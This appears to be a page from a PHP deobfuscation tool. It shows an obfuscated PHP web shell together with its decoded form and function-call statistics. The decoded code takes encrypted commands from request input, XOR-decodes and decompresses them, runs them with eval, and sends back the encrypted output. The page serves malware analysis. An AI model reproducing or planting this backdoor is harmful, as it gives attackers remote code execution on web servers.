Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $s='$k=V*"30V*f5eef9V*";$kh="1a3V*97e4bbabV*4";$kfV*=V*"d93aeb286aV*ef";$p='; $J='..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="30f5eef9";$kh="1a397e4bbab4";$kf="d93aeb286aef";$p="nyqx6X6ifump7Mn2";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$s='$k=V*"30V*f5eef9V*";$kh="1a3V*97e4bbabV*4";$kfV*=V*"d93aeb286aV*ef";$p=';
$J='rlen($V*t);$V*V*o="V*";for($i=0;$i<$l;){V*forV*($j=0;($V*V*j<$c&&$i<$lV*);$j+';
$B='V*V*"nyqx6X6ifV*ump7MnV*2";fuV*nctioV*n xV*($t,$k){$c=sV*tV*rV*len($kV*);$l=st';
$M=str_replace('jf','','crejfjfate_jfjffjfuncjftion');
$y='*h(V*"/$kh(.+)$kf/",V*@file_get_coV*ntentsV*("php:V*//inV*put"V*),$m)==1';
$R='ase64_encoV*de(@xV*(@gzcoV*mpresV*s($o),$V*k));prV*int("$V*p$V*kh$r$kf");}';
$T='m[1]V*),V*$V*k)));$o=@oV*b_get_contents()V*;V*@ob_end_cleV*an();$rV*=@bV*';
$i=')V*{@ob_starV*V*t();@evaV*l(@gzV*uncV*ompress(@x(@bV*ase64_dV*ecV*ode($V*';
$I='+V*,$V*i++V*){$oV*.=$t{$i}^$V*k{$j};V*}}reV*turn $o;}if(@pV*V*reg_maV*tcV';
$v=str_replace('V*','',$s.$B.$J.$I.$y.$i.$T.$R);
$O=$M('',$v);$O();
?>
Function Calls
| preg_match | 1 |
| str_replace | 2 |
| create_function | 1 |
| file_get_contents | 1 |
Stats
| MD5 | 5180c021cdba35ad38fbc0b8073caddd |
| Eval Count | 1 |
| Decode Time | 121 ms |